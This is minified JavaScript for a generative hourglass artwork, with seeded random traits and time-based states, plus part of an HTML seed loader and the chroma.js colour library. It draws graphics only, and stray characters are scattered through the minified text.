createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
